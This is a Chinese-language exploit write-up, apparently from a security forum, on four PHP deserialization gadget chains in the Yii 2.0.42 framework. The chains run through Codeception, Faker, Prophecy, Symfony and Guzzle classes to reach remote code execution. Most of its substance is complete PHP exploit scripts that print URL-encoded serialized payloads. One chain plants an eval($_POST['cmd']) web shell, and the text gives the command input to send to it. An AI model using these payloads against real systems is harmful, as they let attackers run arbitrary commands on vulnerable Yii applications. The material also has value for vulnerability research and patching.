yii 2.0.42 最新反序列化利用全集
漏洞挖掘
第一条链子
全局搜索 __destruct
其他利用都存在 __wakeup
方法,直接抛出异常导致无法利用。
会遍历 $this->processes
那么这里的 $process
就可控
全局搜索 __call
方法
此处的 $this->generator
可控,那么我们就可以调用任意类的方法,但此处的 $name
是不可控的,所以此处仅仅可以再次触发 __call
,但是!
注意do-while
语句 的判断条件,
有一次调用 call_user_func
函数,且第一个参数可控, 只要解决 $res
就OK了。结合上面,找其他的__call
方法
这里返回内容完全可控,也就意味着我们的 $res
也已经拿捏了。
可以RCE 了。还有注意的点是 $this->maxRetries
的值设小一点,执行个几次就行了。我看有人设了9999999,哈哈哈哈,当时我电脑疯狂弹计算器。
第二条链子
我将目标转向他,也就是我打断点的地方。
寻找可利用的 reveal
方法
类中本身存在一个,
继续找 getInstance
;
找到一个同前面属性名相同的类,
全都可控,看着非常舒服,继续找double
传入此处的 $class
和 $interfaces
参数 必须是一个 ReflectionClass
类的对象 和对象数组,后面构造的时候要注意。
看似下面有利用反射来实例化类,但并不能利用的。
我只能继续看向 createDoubleClass
方法
看似 $name
和 $node
不太可控,但是注意 第一条链子那个 返回值 可控的 __call
方法,继续将的 namer,mirror,patches
实例化为对象,就可以控制 $name
和 $node
的值,以及绕过foreach
,寻找可利用的 create
方法
正正好好?!
继续用那个 __call
然后 $code
也可控。
注意一下 这里 $class
, 需要 Node\ClassNode
类的对象,也就是当前命名空间\Node\
的ClassNode
。
exp
<?php
namespace Codeception\Extension{
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess{
private $processes = [];
public function __construct(){
$a = new ObjectProphecy('1');
$this->processes[]=new ObjectProphecy($a);
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
public function __construct($a){
$this->revealer=$a;//一个调用自己的对象
$this->lazyDouble=new lazyDouble();
}
}
}
namespace Prophecy\Doubler{
use Prophecy\Doubler\Doubler;
class LazyDouble
{
private $doubler;
private $class;
private $interfaces;
private $arguments;
private $double=null;
public function __construct(){
$this->doubler = new Doubler();
$this->arguments=array('jiang'=>'jiang');
$this->class=new \ReflectionClass('Exception');
$this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default)
{
$this->default = $default;
}
}
}
namespace Prophecy\Doubler\Generator\Node{
class ClassNode{}
}
namespace Prophecy\Doubler{
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
use Prophecy\Doubler\Generator\Node\ClassNode;
class Doubler{
private $namer;
private $mirror;
private $patches;
private $creator;
public function __construct(){
$name='jiang';
$node=new ClassNode();
$this->namer=new DefaultGenerator($name);
$this->mirror=new DefaultGenerator($node);
$this->patches=array(new DefaultGenerator(false));
$this->creator=new ClassCreator();
}
}
}
namespace Prophecy\Doubler\Generator{
use Faker\DefaultGenerator;
class ClassCreator{
private $generator;
public function __construct(){
$this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
}
}
}
注意一下攻击的时候 cmd=system('whoami');phpinfo();
不加phpinfo()
的话,前面的输出会被报错掩盖掉。
第三条链子
继续找__call
这里$res
可以控制,那么我们就可以 通过序列化一个对象触发 __sleep
方法
注意这里 ($this-value)()
,已经再明显不过了。
exp
<?php
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{
private $processes = [];
public function __construct(){
$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator
{
protected $generator;
protected $maxRetries;
public function __construct()
{
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}
第四条链子
入口依然不变,
stopProcess
方法中存在
利用 返回值可控的__call
和 字符串连接符 .
,将目标转向__toString
,
在这里找到了可利用点,跟进 rewind
下面断点的地方又可以走向其他类中的 rewind
方法,
在这里可以看到很相似的调用。
跟进 read
方法
又要跳向其他类的 read
方法。
在这里找到了利用的地方。
exp
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论